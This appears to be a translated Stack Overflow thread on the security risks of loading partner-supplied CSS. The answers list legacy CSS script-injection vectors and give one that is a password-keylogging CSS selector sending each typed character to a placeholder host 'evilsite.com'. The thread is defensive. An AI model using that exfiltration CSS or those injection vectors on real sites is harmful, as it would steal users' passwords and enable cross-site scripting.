加载外部第三方CSS存在危险吗?

11
我的目标是允许合作伙伴通过将其样式表的链接作为URL参数传递给我们来自定义其着陆页面的外观和感觉。但是,通过JavaScript加载第三方CSS是否存在安全或浏览器兼容性问题?
5个回答

14

CSS文件中。

expressions(code)behavior:url()url(javascript:code)-moz-binding:url()都存在潜在的安全问题。

由于行为不能跨域,因此消除了一些威胁,但一般来说仍需要以某种方式对其进行清理。

如果允许用户链接到外部服务器上的CSS,则没有完全可靠的验证方法。 服务器可以检查服务器上的CSS文件以确保没有任何恶意内容,但是如果用户更改样式表怎么办? 您必须不断检查样式表。 此外,服务器可能会向服务器IP地址提供不同的信息,以尝试绕过验证方法。

老实说,我建议将CSS存储在自己的服务器上。只需使用正则表达式解析器简单地运行它即可从上述可能的恶意代码中删除。


1
+1,但请记住,表达式现在几乎不受支持,行为也是如此,即使您可以将JS加载到背景图像或其他内容中,它也不会执行。 - Thomas Shields
3
为了向后兼容,表达式会在IE8中执行。考虑到IE的使用率最高,我肯定认为它们是安全威胁。 - Lime
XSS 绝对是我的关注点,恶意用户可能会创建一个链接到我们的网站,并将 CSS 参数链接回他自己的网站而不是官方合作伙伴的网站。我想我们应该进行一些白名单处理。 - jarbot
我添加了一些关于验证的信息。 - Lime

3
只要您以某种方式验证它,就应该没问题了。
黄金法则:不要相信用户。

2
如何进行验证的建议将会非常有益。 - Lime
@Lime,这完全取决于CSS文件是否保存到服务器上,以及服务器实现等等。 - Naftali

3
如果用户是唯一能够看到他们自定义CSS的人,那么就没有真正的危险。他们可能会破坏自己在您网站上的体验,但不会影响其他人。
然而,如果他们的自定义CSS显示给其他用户,则他们有可能使用它完全搞乱您原本设计好的网站样式。例如,他们可以从您的源代码中获取某些重要元素的id,并覆盖它们以隐藏它们。
当然,只要您小心并正确地清理所有用户输入,就不应该遇到任何主要问题。

0

CSS表达式只在IE 6-7中有效,但允许使用内联JS(通常用于计算要设置的值)。

例如:

/* set bgcolor based on time */
div.title {
    background-color: expression( (new Date()).getHours() % 2 ? "#B8D4FF" : "#F08A00" );
}

然而,这可能被用于进行恶意活动,因此我认为值得进行一些测试。


0

如果第三方被黑客攻击并替换了良性CSS为恶意CSS,您可能会面临以下风险:

  • CSS渗透攻击*
  • 针对性打击,更改页面UI以危险的方式更改含义。例如,在药物剂量前添加额外的1,使其成为致命剂量而不是治疗剂量。或者隐藏结账按钮,使网站上购买物品更加困难。
  • 令人反感的内容或随机广告,垃圾邮件
  • 通过expressions(code)behavior:url()url(javascript:code)-moz-binding:url()运行脚本的旧版浏览器。这可能已经过时,但在极少数情况下仍然相关。
  • 任何尚未开发的CSS攻击(信任第三方CSS会使您面临任何和所有未来的CSS零日攻击,如果第三方受到攻击)

最重要的是

加载第三方CSS有一定的危险性,因为在第三方遭受攻击时会增加攻击面。如果可能的话,将已知的安全版本的第三方CSS存储在您自己的服务器上并提供服务(基本上是将其转换为第一方)。

* CSS外泄攻击 - 请参见https://github.com/maxchehab/CSS-Keylogging。例如,此CSS将告诉攻击者用户在密码字段中键入了字符“a”。

input[type="password"][value$="a"] {
  background-image: url("http://evilsite.com/a");
}

参考文献:https://jakearchibald.com/2018/third-party-css-is-not-safe/ 另请参阅:https://security.stackexchange.com/questions/37832/css-based-attacks

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接